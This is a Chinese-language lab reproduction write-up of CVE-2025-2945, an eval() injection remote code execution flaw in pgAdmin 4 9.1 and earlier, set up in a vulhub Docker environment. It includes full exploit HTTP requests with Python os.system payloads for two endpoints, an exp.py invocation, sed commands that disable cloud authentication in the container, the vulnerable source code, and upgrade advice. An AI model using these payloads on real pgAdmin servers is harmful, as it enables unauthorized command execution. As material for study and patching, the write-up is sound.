pgAdmin4 9.1及以下版本远程代码执行漏洞复现
pgAdmin9 2之前版本存在CVE-2025-2945远程代码执行漏洞,攻击者需有效账号且server模式部署,通过 sqleditor query_tool download和 cloud deploy端点将恶意参数传入eval()执行任意代码,升级至9 2及以上可修复。
简介
pgAdmin 是一款功能强大的开源管理工具,专门用于 PostgreSQL 数据库的开发与管理。它提供了直观的用户界面,让数据库管理员和开发人员能轻松完成常见任务——创建和修改数据库对象、执行 SQL 查询、管理用户权限,乃至监控数据库性能。支持多操作系统,也能通过 Web 界面远程访问,在不同设备上都能进行管理操作。
这次曝出的 CVE-2025-2945 漏洞,影响 pgAdmin 4 的 9.2 之前版本,涉及两个 POST 端点:/sqleditor/query_tool/download(参数 query_commited)和 /cloud/deploy(参数 high_a vailability)。问题在于这些参数被不安全地传递给了 Python 的 eval() 函数,导致攻击者可以注入任意代码并执行。
这里有个前提条件:攻击者需要具备有效的账号权限,并且 pgAdmin 是以 server 模式 部署的,才能通过这两个接口传递恶意代码。
环境搭建
使用 vulhub 中准备好的环境,pgAdmin 版本为 9.1,一键启动:
cd vulhub/pgadmin/CVE-2025-2945
docker-compose up -d
访问 http://目标IP:5050,进入登录界面。

预置账户:vulhub@example.com:vulhub
数据库用户/密码:vulhub:vulhub
复现
/sqleditor/query_tool/download
连接数据库
登录后,首先需要连接数据库。在界面上点击连接,同时抓包并拦截响应:



返回的 JSON 里包含了关键的 sid、did、数据库名称等信息:
{
"success": 1,
"errormsg": "",
"info": "Server connected.",
"result": null,
"data": {
"sid": 1,
"did": 16384,
"icon": "icon-pg",
"connected": true,
"server_type": "pg",
"replication_type": null,
"type": "pg",
"version": 170010,
"db": "vulhub",
"user": {
"id": 10,
"name": "vulhub",
"is_superuser": true,
...
},
...
}
}
初始化 SQL 编辑器
拿到 sid:1, did:16384, db:vulhub 后,就可以初始化 SQL 编辑器了。注意 trans_id 可以任意设置,这里设为 1234568:
POST /sqleditor/initialize/sqleditor/1234568/1/1/16384 HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 21
{
"user": "vulhub",
"password": "vulhub",
"role": "",
"dbname": "vulhub"
}
返回包含 "success":1 即表示成功。
attack
接下来发送 payload,将恶意 Python 代码填入 query_commited 参数:
POST /sqleditor/query_tool/download/1234568 HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 77
{
"query_commited": "__import__('os').system('echo `whoami`>/tmp/w')"
}

服务器返回 500 是正常的——因为执行的是系统命令而非 SQL,导致内部错误,但 payload 已经成功运行:

EXP
vulhub 自带了 exp.py,可以一键利用:
python exp.py --target-url http://目标IP:5050 --username vulhub@example.com --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('touch /tmp/success')"


手动
当然也可以手工操作:在界面上依次点击 "server" - "database" - "vulhub" - "tools" - "query tool",打开查询工具。

随便执行一个简单的 SQL 语句:

点击下载结果时开启抓包,拦截请求:


将请求发送到 repeater,修改 query_commited 参数即可:

进入 docker 容器验证:

/cloud/deploy
认证
为了方便复现,可以先进入 docker 容器注释掉 Google Cloud 认证部分——实际场景中,攻击者需要先通过认证(比如拥有有效的云凭据)。
FILE="/usr/local/lib/python3.13/site-packages/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' $FILE
FILE2="/usr/local/lib/python3.13/site-packages/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE2
sed -i "s/env['GOOGLE_CREDENTIALS'] = /#&/" $FILE2
重启 docker:
docker restart DOCKER-ID
attack
登录后发送以下数据包,在 high_a vailability 参数中注入恶意代码:
POST /cloud/deploy HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 645
{
"cloud": "google",
"secret": {
"gid": "1",
"oid": null,
"client_secret_file": "/tmp/test.json"
},
"instance_details": {
"name": "test-instance",
"project": "test-project",
"region": "us-central1",
"db_version": "POSTGRES_14",
"instance_type": "db-f1-micro",
"storage_type": "PD_SSD",
"storage_size": 10,
"public_ips": "0.0.0.0/0",
"a vailability_zone": "us-central1-a",
"secondary_a vailability_zone": "us-central1-b",
"high_a vailability": "__import__('os').system('touch /tmp/root1')"
},
"db_details": {
"gid": 1,
"db_password": "test123"
}
}


漏洞代码
源码下载地址:pgadmin-archive.postgresql.org/pgadmin4/v9...
关于 /sqleditor/query_tool/download 路径,问题出现在 pgAdmin4/pgadmin4-9.1/web/pgadmin/tools/sqleditor/__init__.py 中:

query_commited = data.get('query_commited', False)
# Iterate through CombinedMultiDict to find query.
for key, value in data.items():
if key == 'query':
sql = value
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
而且 data 的来源是:
data = request.values if request.values else request.get_json(silent=True)
因此只要 query_commited 的值为字符串,eval() 就会把它当作 Python 代码执行——RCE 就此诞生。
而 /cloud/deploy 路径的漏洞代码在 pgAdmin4/pgadmin4-9.1/web/pgacloud/providers/google.py 中:

def _create_google_postgresql_instance(self, args):
credentials = self._get_credentials(self._scopes)
service = discovery.build('sqladmin', 'v1beta4',
credentials=credentials)
high_a vailability =
'REGIONAL' if eval(args.high_a vailability) else 'ZONAL'
同样,high_a vailability 参数可控:
parser_create_instance.add_argument('--high-a vailability',
default=False)
防御
升级 pgAdmin 4 至 9.2 或更高版本,官方已修复这两个 eval() 调用。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
Redis是什么:核心特性、架构与应用场景解析
Redis是一款基于内存的键值型NoSQL数据库,以超高读写速度和丰富的数据结构著称。本文系统梳理Redis的核心特性、架构组成、性能优势及典型应用场景,并通过与Memcached、MySQL、MongoDB的对比,帮助开发者快速判断Redis是否适合当前业务需求。
Windows 安装 MongoDB 完整图文教程
本文详细介绍在 Windows 系统上安装 MongoDB 的完整流程。从官网下载 MSI 安装包开始,逐步演示自定义安装路径、配置 Windows 服务、跳过 MongoDB Compass 等关键选项,并提供通过系统服务列表验证安装是否成功的方法,帮助开发者快速搭建本地 MongoDB 环境。
Linux 安装 MongoDB 完整指南:依赖配置、环境变量与服务启动
本文详解在 Linux 系统下安装 MongoDB 的完整流程,涵盖依赖包安装、二进制包下载解压、环境变量配置、数据与日志目录创建及服务启动验证。通过标准化命令与路径说明,帮助开发者快速完成部署并确认服务状态。
MacOS安装MongoDB完整教程
本文介绍在MacOS系统下安装MongoDB的完整流程,涵盖下载、解压、目录配置、环境变量设置及服务启动。通过明确的命令与参数说明,帮助开发者快速完成环境搭建并验证安装结果。
Ubuntu系统安装与配置Redis完整指南
本文详解在Ubuntu系统中安装Redis的两种主流方式:apt在线安装与源码编译安装。涵盖版本选择逻辑、服务启停与状态检查、连接验证方法,以及在线练习工具与桌面GUI客户端的对比与使用建议,帮助开发者快速搭建并验证Redis运行环境。
- 热门数据榜
相关攻略
2026-09-01 06:20
2026-09-01 06:20
2026-09-01 06:20
2026-09-01 06:19
2026-09-01 06:19
2026-09-01 06:19
2026-09-01 06:18
2026-09-01 06:18
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

